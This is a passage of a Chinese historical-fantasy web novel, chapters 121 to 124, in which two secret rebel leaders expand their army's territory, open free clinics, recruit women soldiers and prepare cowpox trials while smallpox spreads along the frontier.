“办公还是不能太舒服,硬一点的木椅坐起来至少不会让我想睡觉。” “公务这样催眠?” “做正事总是叫人想睡觉。”和上课睡觉是一个道理。 “看账本的时候,你可精神的很。” 别此云头埋在尚柒脖颈处,痴痴的笑出声:“见着银子,谁都精神,但眼下衙门都是花钱的差事,银子如流水一样没了,我哪里还能精神的起来。” “也是,不过玄甲军截了整个西南送去长安的兵税,加在一块数目也不少,也不算全然没有收入。” “玄甲军准备扩军,那点银钱留用也只能撑一段时日,不如打劫来的多。”打劫一个地方豪强,几乎能搜刮人几辈子攒下来的金银珠宝,要不说抢劫来钱快,无本的买卖谁做谁知道。 “快了,这次勘探出煤矿,等到冬日又是一笔细水长流的收益。”他们也不全然是只出不进,比起挣得,私塾花出去的大头都不算什么。 “钱都是小事,玄甲军之后在盘州的扩张只会越来越快,虽咱们的政策利民,可收拢部分民心,但想要尽快叫百姓有归属感,还要在想些法子。” 起义不是只把城池打下来就了事,最重要的还是治理,唯有将打下的地盘治理的井井有条,才能叫百姓看出他们的好,真心实意的依附就是王道。 “收拢人心的手段左右不过几种,田地给他们安身立命的资本,工坊私塾给他们生活上的便利,再做,便只能往义诊上去。” “义诊?” “不错,玄甲军治下如果开设义诊,也算是博名声的手段。” “咱们手里有这么多大夫吗?”义诊再怎么说也要有些医术,他知道尚柒在礼县培养过一些大夫,但礼县只一个县城,就算尚柒是八爪怪物,也不能一口气培养兼顾整个州府的大夫。 “只消得派遣几位有医术的,大部分还是宣传卫生情况。”大部分疾病都是从口入,“煤矿开采后,各地完全可以设立开水房,也叫百姓能容易得热水清洗。” “办法倒是不错,但想要百姓一改老观念,只怕很难。”洗澡这种事对大户人家出身的人来说,并不罕见,而寻常百姓不一样,大部分百姓很难做到日日清洁,甚至官家提供低廉的热水,大概也不会有很多人选择勤洗漱。 “这就要看怎么宣传了,正常人都贪生怕死。” “你这样说,便是胸有成竹了,那义诊只开在玄甲军占据的县城,还是应州也同步开展。” “先顾咱们的地盘,再往外扩散,不过想来也晚不了多久。”到了这个份上,他们是不怕被揭穿玄甲军和应州有牵扯的,甚至他和此云这会站出来说是玄甲军的主公,长安也很难收到消息。 “那我也该和兄长他们通通气了。” “别全说出来,我怕大舅哥撑不住。” “这可不一定,昨日我刚巧收到家书。”现在长安方面的来信,除了他们自己线路外,其他信件都是被玄甲军截下来,再送到应州城,至于犄角旮旯的小路能走的是越来越少。 等拿下盘州城,什么信能出西南什么信不能出,可以说全全由他们说了算。 “是长安发生了什么变故?” “广运帝有意要废太子。”别此云轻描淡写的扔出一个炸弹,尚柒自认为也算是身经百战,但初闻这个消息,还是露出诧异的神色。 “太子又如何得罪广运帝了,竟然想在这个节骨眼上废掉太子。” “不过是得罪到广运帝面前了,祖父的意思别家要跳太子这艘破船,余下齐王晋王的船也不打算轻易上,正好给我们机会。” 按照别此云的计划,怎么也该再等一段时间和别家通气,偏偏别家给了他一个大惊喜,竟然和太子闹掰了,这不是天助他。 “天时地利人和,也叫咱们占尽了,你且放心写,想必大舅哥知情后,很快会向咱们倒戈。”比起辅佐别人一肚子气,不如自己单干。 “也没那么快,至少兄长需要先斟酌,再说劝整个别家下水,想要兄长同意,咱们怎么也要吃下盘州城才能给兄长展示咱们的本领。” “那也快了,凤来县占据后,咱们下一步就是吃下盘州城。”白鹤县和盘州城离的又不远,没必要打太多小县城,以白鹤凤来做跳板,吃下盘州城,就可以控制整个盘州。 “盘州城被拿下,王刺史该给他什么样的职位?” “继续做他的盘州刺史,蔺肃樊泊要打整个西南,不会那么容易安定下来,王刺史带兵打仗不行,但文治在整个西南也算首屈一指,不能浪费了。” “不怕他阳奉阴违?”到底是世家出身,真愿意跟随乱军的不多,王刺史眼下愿意全是因为妻儿性命在他们手里,转头放了人,说不得就会寻机会离开。 “阳奉阴违也没关系,只要将他投靠咱们的消息传出去,想必也没有其他退路。”世家看重名誉,哪怕王刺史是苟且偷生,解释开也只会名誉扫地,在看重名誉多过性命的世家人眼里,孰轻孰重自有分辨。 “说的也是,今年应州治下不少地方都会种双季稻,我想着粮食若有冗余,不若多试试制作酒精,无论是行兵打仗还是给百姓都大有用处。” “我也有这个想法,军队打仗几乎都会出现外伤,白药虽然是治外伤的利器,但碍于成本价格不能完全普及在军营里,酒精正好弥补了这个缺憾。” “那在酒坊之外,还要开一个专程酿造酒精的工坊。” “也算是好事,可以提供更多的岗位。”时下还不能够进行大规模的工业化,只能先从手工业入手,能够将百姓从农事操作中解救出来,他们的社会制度就往前跨步了一大步。《 》 120-130 第121章 征兵的浪潮有条不紊的在白鹤县以及凤来县席卷, 如蔺肃樊泊预测的一样,白鹤县前来应征的儿郎数量客观,甚至还有一个身板健壮的娘子过来询问。 无他, 实在是玄甲军自入城, 任何招工干的告示都表明了男女不记, 征兵告示虽然没提姑娘哥儿的需求, 但实则也没说不招。 这倒难住了蔺肃和樊泊,东家没吩咐军营要不要招娘子郎君,按规矩,自然是不招的,除开身体元素, 还有儿郎和姑娘哥儿一个营, 谁也保证不了不出事。 就算个个会要文断字的书生都有衣冠禽兽, 更不提斗大字不是一个的汉子,更不说军营这样的地方, 时间长了母猪都跟赛貂蝉一样。 要招,就要规划出新营, 至少也得聘请一位本事不俗的习武世家的娘子郎君做领队, 这样的娘子郎君, 不说整个西南, 放眼整个大历都数不出一两个, 就是真的有,也都嫁进武将世家的后宅, 命好的能替夫君在背后出谋划策,命不好的,多半就是一身本事蹉跎一生。 “如娘子,你且先回去, 这事我请命我家主公,若主公有意逐渐娘子郎君的军队,必提前告知。” 事情没有一口定下,就有转圜的余地,如娘子自知与寻常娘子郎君大不相同,比起裁布绣花,她干一般儿郎做的粗活更快,也更灵活。 比起绣花的一点家用,粗活来钱也快,只是她身份不大好,即便相貌粗笨,一般人家也是用儿郎不用她。 这次玄甲军招工,其实她有很多选择的余地,不说别的,铁坊之类的工坊都是要她的,只是工坊做工,无论是工钱还是地位都比不得当兵。 她若孤身一人也就罢了,偏膝下还有两个孩子,上头只有一个瘸腿的婆婆,做不得重活,去了工坊,难免顾及不到家里。 毕竟真要是遇上什么寻麻烦的地痞无赖,她寻玄甲军主持公道就已经晚了,当兵却不一样,首要的,军营的军属都有特惠,可去玄甲军为军属建造的房屋租住,房租不高,还安全。 左邻右舍少不得如她一样,家里顶梁柱去军营的人家,都是老弱妇孺,平日搭把手也是正常。 唯一需要担心的就是,玄甲军不要她这样的娘子入营,但念及家人,她还是鼓起勇气过来,玄甲军的管事竟然没一口否决,还说要过问主公。 自古造反的军队都是有主公的,只是玄甲军入白鹤县后,主公一向神秘,不少人起先都以为蔺肃是玄甲军的头,后来和各地驻派的军爷一聊,才晓得主公另有其人,蔺肃也是替主公办事的。 如娘子不知这主公究竟是何许人也,但能够一屏性别偏见,叫娘子郎君多一份谋生的手艺,就不是孬人。 接下来几日,更是叫如娘子坚定了自己的信念,玄甲军竟然派遣了大夫在县里乡里义诊,看病是不要钱的,也供药,寻常药物要价便宜,贵一些的药物,虽不能按白菜价卖,但一般人家咬咬牙还是能买。 至于本地药铺生意?早几日已经关门大吉了,说是白鹤县的大夫医术平庸,都给送走去进行研修,等什么时候合格了再放出来看病。 县里的医馆,有一部分因为地里原因也都开始拆除,听玄甲军的意思是说县里是准备建新医馆,也是个大医馆,玄甲军出资,日后看病只管过来,虽不敢说包治百病,但一些小病小痛不消花费多少钱,就能看好。 这话一放出来,不知多少白鹤县百姓痛哭流涕,实在是寻常百姓看病难,近几年要好一些,因为各个医馆的大夫开药的钱比从前少多了。 有心人打听,是有人专门做药材生意,大量药材都像粮食一样种在地里,不在需用在山上挖采,各地的医馆都从这家进药,药材方便宜了不少。 也有医馆不愿意降价,但大部分大夫还是有医者仁心,逼得一些不降价的医馆降价,不然好些个百姓是宁死都不踏进医馆的。 这时候玄甲军重整医馆,许诺看病不贵,甚至还在各地开义诊,几乎让白鹤县的百姓死心塌地跟随玄甲军做任何事。 如果说白鹤县因为有分地的举动,让原本白鹤县的百姓已经归心不少,义诊不过锦上添花,凤来县就是另外一个例子。 凤来县占据不久,就是要分地,重现整理人口和土地还有房屋都是一个大工程,要想分地完全落实还有的等。 而就是在这个期间,玄甲军派遣人出来义诊,起先大部分凤来县百姓都是过来凑热闹的,实在是义诊大夫水平有好有坏。 凤来县的大夫大家都知道,顶天了治个头疼脑热,比不得白鹤县的大夫,但秉着有便宜不占王八蛋的念头,县里有病没病的都来了。 结果看病的大夫,少有胡子花白的,个顶个的年轻,过来人就发怵了,不是以貌取人,而是大夫头发不花白,谁敢说能轻易相信,万一是江湖骗子怎么办? 至于大夫堆里有娘子郎君,倒没有引起什么大喧哗,实在是这些大夫一看就是玄甲军的人,玄甲军用人不计,大夫里有娘子郎君又不是新鲜事,人官衙门还招姑娘哥儿进去做事呢。 “舌苔生出来看看。”看病的小大夫是清平县过来的,他自然本事不大,但能得东家指点,年轻些的哪个没熬夜彻读东家准备的各类医家名典,认识的不认识的全全背下来再说。 他们现在欠缺的都是实战经验,义诊已经绰绰有余,甚至要不是见识过东家的医术,这里大部分年轻大夫都能开个医馆独自看诊。 甚至胆子大一些,开宗立派也是可以的,毕竟盘州就有医术不及他们大夫,弟子收的倒是一个比一个多。 “没什么大事,回去少饮冷水,若是嫌热水费柴,等些时候玄甲军会在县里和给地开设开水房,要价极为便宜,平日买些回去,比起你现在赚的工钱不过九牛一毛。” “九牛一毛?什么牛九头才一毛,一毛又是多少,莫不是一文?是一千两?”看病的百姓摸不着头脑。 “蜗牛九个卖你一毛你要吗?”有时候小大夫们也想寻玄甲军来管管,但一想到玄甲军也都是没认几个大字的粗人,又忍了。 东家什么时候也叫百姓强制读书,不是嫌弃大部分不认字,而是有时候沟通真的很困难又浪费时间,他们学医的命不是命吗? “那玩意你不让咱们吃吗?怎么又卖的上价了,真要收,等哪日下雨,我去田里给你收一笼来。”只是看个病也能寻到新赚钱的机会,可把人高兴坏了。 “哦,你若冒雨收蜗牛卖我,一笼赚的钱不够我给开风寒感冒的药,还要倒贴我。” 那人悻悻离开,不敢耽误义诊的进度。 要说这样的笑话还闹了很多,其中还有看病闹事的,不过蔺肃早有准备,调遣了休息的兵汉执勤,给补贴。 因为打下盘州两个地盘,来自这两个地方的军汉都在上面的许可下回家了,这些时日在玄甲军赚的钱,很是让这些兵汉在家里风光了一把。 不少还盼着马上回家的汉子,瞧着不少军汉回家因为有钱,家里都要叫媒婆踩踏了门栏,心里哪有不嫉妒羡慕恨的,于是私下里咬碎了牙也准备多攒一些。 有上头分派赚外快的机会哪有不来的,只可恨不少执勤的兵丁没这个机会,不过义诊不光要在凤来白鹤举行,日后在盘州其他县城总能轮到,即便是盘州不成,不还有应州,偌大的西南总有机会。 有钱赚的军汉,一个个也都铆足了劲,听闻煤矿铁矿都还缺人,真有趁机寻衅滋事或是准备医闹的,都给统统下狱,轻的去矿里改造两个月,重的改造几年,也算是给玄甲军事业发展出力了。 一天下来,过来义诊的大夫都已经酸的抬不起胳膊,实在是看病的人太多了,最开始因为有些大夫经验不足,还耽误了一些功夫,后头熟练起来,速度也就越发快了。 “今日我看的绝对有百人了,县里能有这么多人给我看诊?”因为是个人都要把脉,现在白日又长,哪怕一个人耗时久了些,也能看不少人。 “是个人都来凑热闹,不过照我看的病人,虽大部分没有重疾,但都有些小病小灾,平日里估摸着忍忍就过去了,现在义诊倒是能开些药,多半也治标不治本。” “可不是,就说凤来县的百姓里,有几个身体正常,大部分都是营养不良。”这个词是东家学医时交给他们的,起先他们不认营养不良是个病,因为全天下除开一成能吃饱饭的人家,大部分都营养不良。 饭都吃不饱,还要人有营养,那不是强人所难吗? “等百姓钱赚多了,肉类价格下来,养殖场也起来了,不说顿顿吃肉,但逢年过节肯定不再只有一点荤腥,蛋也能隔三差五吃一个。”至少等蛋能够供应私塾孩子们每日一人一个的时候,营养不良的人数就会大大降低。 “还要有糖,红糖在礼县最受娘子郎君欢迎,说是生产生病,有红糖水喝日子都要好上不少,东家的糖坊也得尽快开起来。” “甘蔗能熬红糖,还能造纸,东家肯定早有安排,就是西南的地还是太少了,虽然开垦梯田能解决一部分麻烦,但要是中原能够尽早收入囊中,咱们能用中原的沃土种更多的地。”主要是中原人多啊,西南地开垦出来,也得有人种,种出来交通运输也得跟上。 虽然东家在一点一点改善西南的环境,肯定比之前要好,但要说比上中原,还有的等,至少他们有生之年能看到都够呛。 “那还是南面的开发价值更大,我上回在清平县上课,别公子的人说岭南那边因为气候好的缘故,粮食很能长,随便种种都有收获,配合咱们的双季稻,不知能丰收多少粮食。” “南面地再好,你不解决南面各种疾病,几乎不可能大规模增长人口,没有人口谁来干活。” “那不是咱们的责任?西南这篇沃土出现了能够治疗疟疾的神药,想来其他疾病被解决不过是时间问题,东家给我们的书里,不是天花都能防治,鼠疫也有法子预防,在这两等十室九空的疾病面前,其他疾病都是纸老虎。” 甚至东家不说,谁知道鼠疫的来源是老鼠,疟疾的来源是蚊虫,这治疫,最重要的还是防。 “话说的有道理,但牛痘你们谁种了?”他们在牛痘上的进展其实不大,并不是随便牵头得了天花的病牛,就能很快研究处牛痘,至少礼县的医疗水平还达不到这个地步。 “这不是还在研发,等东家说真的成了,咱们肯定头一批去种。” “话说的好听,到时候可别吓跑了。” “我一定在你前面种,叫你以为我胆小。” 瞧着这些小大夫们谈笑风生,一些护着大夫的军汉们也跟着放心,他们刚刚听到了什么,天花有治了。 自古军营就是疫病滋生的重点,到了行兵打仗之际,只要军营出现大规模死亡,而战场的尸体没有来得及掩埋,必然是要生疫的。 一些发热溃烂的疫病,虽来的厉害,但大部分人没听过名头也盼着军医能够研发出治病的药方。 可天花鼎鼎大名,不说往前数的朝廷,就是大历也多的是天花流行的时候,十室九空从来不是形容词,西南有的老一辈都是经历过的,甚至不少人脸上都留了麻子,就是命好得了天花活下来的。 现在竟然有药了,不管药怎么样,只要能够种,他们这些兵汉肯定头一个种,因为比起做后勤的大夫,前线的兵丁得天花的概率只多不少。 若能出战之前种了牛痘,也能多一份保证,毕竟谁也不想没死在战场上,反而死在疫病上,也不晓得真要是得了疫死了,玄甲军还给不给抚恤金。 第122章 “蔺肃樊泊的公文询问的事, 你考虑的如何?”别此云撑着下巴,看尚柒替他处理州府要事。 “你不是都考虑好了吗?”尚柒头也不抬的回复。 “咱们是平级,要事该统一意见, 光我决定不能服众。” 尚柒低笑出声:“明知我不会反对, 姑娘哥儿能参军, 除开咱们有更多的人手利用外, 也是在改变自古至今的社会权力结构,是好事。” “事情是好事,但光靠咱们下决定不够。”若是参军的姑娘哥儿数目不多,这事也办不起来,顶多能够挤出医疗兵的名额。 “你要相信, 在眼下没有太多出路的时候, 玄甲军给出的条件足够人个人趋之若鹜, 之前不过是因为从来没有听说过姑娘哥儿还能参军,所以大部分人都没有这个想法, 但即便这样还是有人询问,可见这是大势所趋。” 别此云想了想, 玄甲军给的条件不算最好, 若是有本事进工坊做到大工或者管事级别, 一月工钱比不会低于一两, 只是大工和管事的名额总是有限, 军营普通小兵就能拿到一般人难以拿到的工资,且旱涝保收, 真想赚钱的必然不会错过。 “既然咱们意见相同,可以给蔺肃那边传消息,叫他准备和樊泊着手做了。” “嗯,我看过义诊的情报, 凤来县因为义诊民心所归,可以继续出兵盘州城了。” “盘州城的官员跑了大半,其中一部分走水路离开了西南,还有一部分躲回老家,要拿下其实不难。” 主要还是王刺史将盘州城的府兵全都送到玄甲军手里,盘州城的官员就是想召集人手抵抗他们,也是巧妇难为无米之炊。 长安的圣旨又被拦在外头,西南守军得不到调令一步也不敢离开黄州,盘州被玄甲军占据不过是迟早的事。 “应州城的官员私下可还寻过你问乱军的事?”尚柒晓得每次乱军一有动作,最着急的就是应州城内的官员,虽然此云放出话,说害怕的随时可以离开,但不到危急关头哪个愿意舍弃荣华富贵,自然只能寻此云的霉头。 “问肯定是问过,我已经准备调集应州的府兵,给他们一颗定心丸。” 尚柒挑眉,这算什么定心丸,盘州的府兵数目比应州可多多了,还不是全军覆没,靠应州城这点府兵想要抵抗乱军,那不是痴人说梦吗? “我也没其他招,调集府兵到应州城是给他们一个交代,要是还不满意,就得自己想办法。” “看来盘州城被打下的时候,应州城的官员会跑一批,只是盘州城拿下西南再不能轻易出去,他们只能在西南其他地方蹉跎了。” “也是他们不够聪明,只要细心打听就该知道,玄甲军不会轻易杀人,只要他们手里没有重大的任命官司,最多不过是罚没家财,命还是能保住。” 想要维持原有官职是有些难得,毕竟在别此云办公这段时日,也算是把应州城的官员底细都摸清楚了,上一任刺史就是个上梁不正的人,自然不能指望下面的人有多刚正不阿。 “近来还是小心行事,别被察觉玄甲军和我们有联系。” “你怕他们鱼死网破?”擒贼先擒王,真要是有人敢拿他和尚柒开刀,别此云还要高看他们一眼。 “小心驶得万年船,虽然每日你身边都有部曲跟随,但应州城在怎么说也是他们的地盘,府兵没有调来之前,对他们保持警惕是必要的。” “我自然会小心行事,反倒是你,仗着会武艺便一直孤身行事,我若他们,开刀也是拿你开刀。” “真要是拿我开刀,算他们命不好。”尚柒当然不是能以一敌百的人物,但应州城想要出动百人弄他还是不太可能,至少光天化日不行。 “嘘,不可胡说。” “是我胡言乱语了。”尚柒眉目柔和下来,“已经几月过去了,边关战事迟迟没有动静,我想无论是大历还是突厥,可能都出问题了。” “怎么说?”别此云也觉得事情奇怪,边关战事当初闹的沸沸扬扬,大历输了之后,广运帝更是招兵买马还是继续打下去,但等新的兵丁送入战场之后,什么消息都没传回长安,连带着不少世家都没得到消息。 广运帝什么时候控制局势的本领这么高强了? “或许,生疫了。” …… “咳咳、拉下去烧了,得病死的尸体并不能久留。”说话的将官面上覆着麻布,整个军营已经彻底沦为疫区。 疫病不是打仗就开始发的,冬日大部分疫病也不会传播开,而是开春后突然发展起来的。 治病的药方是不敢想的,因为是个人都已经知道这次疫病就是大名鼎鼎的天花,因为晓得天花的厉害,一旦发现疫区就被封锁,但效果没多好,听闻附近的城池还是有染上天花的。 当然突厥也不例外,开春后突厥的蛮子打的很厉害,胜负几乎一边倒,就算是长安那边派来了支援,也不过杯水车薪。 也不知是那边先生了疫病,疫情也发展的极为迅猛,不过多少功夫两方人马都已经病的打不起来。 “草药快要没有了,长安那边还是没有消息?”还活着的大夫也都是苦熬,实在没办法,他们就在疫区里,想走肯定是走不掉,唯一能自救的还是拼命研究药方,但天花要是有的治,历来这么多神医也不见留下只言片语的药方,寻常大夫又有什么本事能治好天花。 “消息送不出去了,听闻北面生疫,长安那边就切断了联系,莫说是草药,就是粮食都要见底了。”这还是有不少人病死了才能撑这么久,不然早就有人饿的要吃人了。 “难不成陛下就放任咱们自生自灭?”北面这么多城,边关这么多将士,都不管了? “天花真要是传到长安那边,甚至传到整个大历,不知道要死多少人,现在将疫病控制在北面,已经是最小的损失。” “那咱们就眼睁睁的等死?” “难道咱们还能逃出去不成?” 疫区被封锁的很死,莫说有人能够流出去,就是动物都不见得能够突破封锁,先前天花刚起的时候,不少人就想着逃跑,最后还不是都给拦下来了。 “听说自古疫区的疫情控制不住,都是要烧城的,咱们继续留在疫区也没有活路。” “你的意思是拼一把,闯出疫区?” “不错,留下了是死,闯出去也是死,但要是闯出去的人多,总能活一个两个,比起留下来必死无疑,还是拼一拼的好。” 这话说出来不少人的心声,人肯定都是求活的,就是得了天花的人都还仰面朝天伸手,想要老天给条活路,更不说还没得病的人。 至于逃出去会不会将疫病带出疫区,就不是他们考虑的了。 疫区的事暂时传不到长安贵人的耳朵里,但广运帝封锁的再好,凭借世家手眼通天的本事,或多或少也摸索到一点消息。 有不少人庆幸家中晚辈都回祖地去了,甚至有人还担心祖地离长安太近,北面的疫情真传过来,还是有得病的风险,都想着看能不能再往远走一些,避避风头。 别家被交好的世家透露消息的时候,个个忧心忡忡,因为别家人都在长安,真要是有疫,几乎没有躲开的余地。 “不若还是派孩子们离开长安。”别家到底是富庶人家,便是现在选一地定居也不是什么麻烦事。 “离开肯定是要离开,只是躲去什么地方合适?”和别家有姻亲关系的世家也不少,所以能去的地方也很多,但算来算去都离长安不远。 “若是西南没有生乱,叫家中孩子去西南避避祸事是最好的。”西南好歹也有此云和尚柒在。 “说起西南乱军,朝廷的圣旨该送到了,但眼下没有传来什么消息,恐怕不太妙。” 主要是乱军占据的城池很关键,真要是封锁了长安和西南的联系,对他们来说不是好事。 “咱们的家书不知道送到此云手中没有。” 别洵松摇头,只怕是难了,至少他们没有再收到此云送来的书信,西南和中原的联系估摸着已经断了。 “近几年大历是多事之秋,我瞧着已经有隐隐崩溃的迹象,也不知道是否真到了尽头。” 这话是有些大逆不道的,但老实说,有眼界的都能看出来眼下大历岌岌可危,只差一哆嗦,基本就可以开启乱世的篇章。 西南已经率先一步有了乱军,中原什么时候生乱,几乎只是时间问题。 “几位皇子什么反应?” “还能什么反应,装聋作哑,陛下还健在,他们就算有小动作也不敢触陛下霉头,而地方上……” 怕是很快就有乱军揭竿而起了,说起来别家已经不能再跳魏氏的船了,那么真要是乱军四起,别家就要想想投哪一只股能够保全荣华富贵了。 第123章 盘州城。 作为西南最繁华的州府, 往日的盘州城热闹非凡,大街上每时每刻都有百姓往来,地方豪强家的儿郎们也常在州府内游走, 虽比不得长安气派, 但在西南也是独一份。 可自打王刺史被俘, 盘州城官员求援长安久久不得回应后, 盘州城就一日不如一日了,最先走的肯定是盘州城的官员。 算过时间,眼看着朝廷指望不上,还是尽快离开西南为好,当官的一走, 地方豪强自然也不会多留, 不过大部分地方豪强的根基都在西南, 不到万不得已是不会轻易离开,顶多阖家去深山的坞堡躲一躲, 等什么时候太平了再出来。 平民百姓是最稳得住的,一是他们消息闭塞, 说不得现在都不知道盘州城衙门里的官员已经全跑路了, 二么, 他们想跑, 又能跑哪里去呢? 外加玄甲军陆陆续续开放白鹤县、凤来县, 越来越多有关玄甲军的消息也传到百姓耳朵里,晓得玄甲军没有轻易大开杀戒, 虽还是人心惶惶,但只要不死总有法子生活。 所以等来等去,盘州城的百姓还没等到玄甲军领兵过来,先一步遇上玄甲军派遣到州府义诊的队伍。 “玄甲军兵还没打过来, 竟然先一步派遣大夫过来给咱们义诊?这是个什么道理?”大部分百姓虽然喜欢占便宜,但也晓得没有天上掉馅饼的道理。 “玄甲军敢这样大摇大摆的派人来盘州城,莫不是自信没人敢伤他们?” “王刺史连带着手里的府兵都一块折在白鹤县,咱们还要如何伤人?”真伤了玄甲军的人,到时候玄甲军打过来算账怎么办? “州府里的富户呢?总不会坐视不理。”有钱人跑肯定是跑了一些,但也不全跑了,有那身正不怕影子歪的人家不怕乱军,眼下盘州城还没大乱,全仰仗这些人家稳住情况。 “如何理?富户对上玄甲军也只有讨好的份。” “那咱们去看诊么?听说义诊的大夫医术都很高明,我这胳膊连年做苦力,总是隐隐作痛,先前想着医馆昂贵,也不敢去。” “去,如何不去,义诊又不给钱,咱们兜里那三瓜两枣玄甲军铁定也看不上,这便宜占的。” 百姓话这么一说,但盘州城的富户却不能干看着,愿意留在盘州城的人家自认为三代内肯定清白,不怕玄甲军到了算旧账。 虽说玄甲军要强拿土地,但他们留下来为的是什么?肯定还是为了能够在玄甲军里占据一席之地。 不管玄甲军用什么政策,总归是造反的队伍,能讨玄甲军的欢心,好处总是少不了的。 有的人家世代为商,家里的子弟也都是请了夫子教认字的,但比起世家亦是天差地别,想要越过阶级,可不光有钱就行。 不少商户想要改换门庭,玄甲军就是一个百年难得的机会,不说叫玄甲军打去长安,就是在西南做土皇帝,他们的地位也不可同日而语。 于是,义诊队伍到盘州城非但没有被为难,还有专门的人给腾地方招待,比起在白鹤县凤来县义诊的日子还要好过。 只是招待义诊队伍的富户明里暗里都在打听玄甲军什么时候过来的消息,要他们说,肯定是越早越好。 毕竟玄甲军占据盘州城,就算是拿下整个盘州了,再不是占据一个小县城小打小闹的势力,而是真正有地盘的枭雄。 哪怕西南再出什么乱军,也越不过玄甲军去。 可见比起玄甲军,盘州城的富户更着急玄甲军的发展。 不出意外,义诊队伍在盘州城结束后,玄甲军就大军压境,不费吹灰之力拿下了盘州城。 盘州下面还有许多县城,打肯定不必打,下面的县城没几个敢说反抗玄甲军的,但一口气全部收入囊中,又力有不逮。 归根结底,玄甲军还是缺人,白鹤县凤来县但凡认字又身家清白的,已经被玄甲军征了去。 盘州城认字的人要多一些,但更多的还是跑了,不过富户一个个知情识趣,不光遵守玄甲军的政策,还把名下的儿女全都推出来,说是愿意为玄甲军效劳。 “这些富户眼界倒是够高,没悄摸送姑娘哥儿给主公,反倒是叫她们跟咱们来做事。”蔺肃挑眉,就说玄甲军占据白鹤凤来之后,虽小有名声但也不是什么大势力,私下里献殷勤的人家不少,不少小门小户都想送家里有几分姿色的姑娘哥儿来攀关系,最后人蔺肃是收下了,但全给扔去做事,半点没给人献媚的机会。 到了盘州城,他还以为怎么也要再经历几遭,不想盘州城的富户直接把家里认字的儿女全给扔来做事。 “许是打听过咱们在白鹤县的行事,知道献美无用。”樊泊虽是大历人,但不似大历一般儿郎,认为功成名就后,需要娇妻美妾在怀。 东家和别公子更不必说,从清平县就有莺莺燕燕干扰,但二人情比金坚,不曾为这等小事闹过什么矛盾,可见美人计对两个主公最无用。 “知道是一回事,识趣又是另外一回事。”懂的变通,这伙人真是撞上东家的心坎,不成,得给东家去信一封,好叫东家晓得他们也是遇上有眼睛的人才了。 和盘州城越发井然有序不一样,应州城的形式是越来越严峻,尤其是盘州城被玄甲军攻下的消息传过来。 但尚柒的注意力还是在疾病身上,边关真有了疫,虽不见得会千里迢迢传到西南,可也不得不防。 “牛痘的研究其实已经收尾,只是还没在人身上用过。”眼下这个情况,任何研发的疫苗都很粗糙,到他们的时代打疫苗都不见得能百分之百安全,更何况这时候。 “早晚都要尝试。”别此云当然知道尚柒希望能够百分百保证人安全,但真要是遇上了大疫,能活命比什么都重要。 尚柒点头,的确要尽早安排人种痘。 “公子,忠州那边传来消息,有土匪趁乱下山攻城,百姓死伤无数。”琴砚急匆匆的从外进来。 别此云和尚柒闻言对视,虽然早知道西南太平不了,但忠州也未曾听闻过哪家土匪寨子有攻打县城的本事。 地方县城再拉胯,都有近百的府兵把守,再不济县城上万人,青壮总有几千,还拦不住几十人的土匪寨子不成? “绝计不是土匪,忠州也有人按耐不住,想要趁乱起兵了。”尚柒一口断言,真要是土匪寨子,必然先抢的是村落,没有几百人哪个土匪吃饱了撑的会去攻打县城。 “忠州不曾听说哪家势力有这样的野心,突然冒充土匪起兵,绝不是临时起意。” “玄甲军在盘州,忠州出一支乱军,会切断咱们和黄州的联系。” “可黄州紧邻忠州,乱军真的打过去,边关的守军必会出面平乱。”边关守军以万计数,他们以盘州为起点,除开能够切断西南和长安的联系外,也是因为盘州距离黄州较远。 真打出了名头,西南守军在黄州也轻易不会出兵。 现在玄甲军对付几万人还是很吃力,不到真占据整个西南,尚柒是不会和西南守军对上的。 “这支乱军如果和黄州没有关系,那么等拿下忠州,肯定会转头攻打应州。” 别此云摇头:“没那么快,就算这支乱军早有心思,也不会有太多人马,想要一口气吃下忠州,很难。” 说不定等玄甲军打下应州,这支乱军都还没拿下忠州。 “要是他们背后是忠州的地方豪强,就不会太慢。” 尚柒说着呼了一口气,他们还指望礼县那边牛痘的研究,结果半道出了一只拦路虎。 玄甲军眼下在盘州,不可能隔空去忠州和这支乱军对上,但放任不管,先不说这支乱军会对忠州百姓如何,单单是叫黄州和他们的联系不稳,就容易出事。 “或许也不是毫无办法。”别此云说着拿出代理刺史的印章,“别忘了咱们手里还有应州的府兵,这支乱军真要是阻碍了咱们,想来应州的府兵过去拿下他们不是问题。” 他们手里的兵不止玄甲军,地方府兵虽然比不上玄甲军身强体壮,但人数肯定占优,眼下这支乱军的数目绝对不过几千,就算是沿道拉上各个青壮充军,也不过是乌合之众。 遇上有兵器铠甲的府兵几乎没有反抗之力。 “玄甲军就在侧方,咱们想要动兵清缴忠州的乱军,只怕衙门的官员不答应。” “前有狼,后有虎,他们只要不怕死,总要选一方迎战。” 至于选哪一方,就看这些人的眼光如何了。 第124章 尚乌桕皱着一张脸, 自打他在清平县安顿开始给赤脚大夫上课后,整个人都忙的脚不沾地,想他小小年纪已经承担了不该承担的重量, 不过传教授业也没那么无趣。 至少过来学医的弟子们, 一个个都铆足劲的埋头苦读, 遇上不知道的知识还一个劲的不耻下问, 算算时间,已经能够出师就诊。 毕竟这伙大夫虽然医术不高,但行医经验比尚乌桕丰富多了,哪怕是赤脚大夫也能一两手压箱底的药方。 往年里这都是传家宝一样的存在,就是教徒弟, 那也是给最得意的门生, 其他徒弟是想都不要想学到的, 结果到了这处培训班,一个个争先恐后的把药方给尚乌桕过目, 希望能够得到一二改进。 可惜尚乌桕行医经验不足,这药方最后还是给阿兄连夜看了改的, 但能治百病的药方多是万金油, 真到了病人身上, 还得自行增减。 “阿兄当真说礼县那边可以开始尝试种牛痘了?”尚乌桕闻言只差一蹦三尺高, 恨不能立刻去应州城问一问阿兄。 “说是这么说的, 但具体成不成还得看种完痘后的反应。”宋月隐也期待牛痘能成,疫病历来都是心头患, 她们要是有手段防治,也是收拢人心的一种手段。 “牛痘研究在礼县是阿兄一手操办的,要不是后来阿兄转头去了长安,指不定早研究出来了, 算算时间,本也该能在人身上试验了。” “头一批肯定还是用在死刑犯身上,只是礼县现在可不好找死刑犯。”没错,最难的不是牛痘研发,而是死刑犯不好找。 如今礼县百姓的日子都好过了,一个个手里有几个钱,也全奔着新房新衣上去,要不就是多攒一些给子女留着,真没几个愿意把好日子拱手让人,不说死刑犯,就是犯罪的人都没几个。 “礼县没有,盘州难道没有吗?”尚乌桕自从晓得阿兄和别哥哥干的大事后,就没什么被瞒着,哪怕盘州眼下的情况,只要问宋姐姐,也都一清二楚。 “有是有,但眼下忠州不是出了一伙山匪,不好把人送去礼县。” 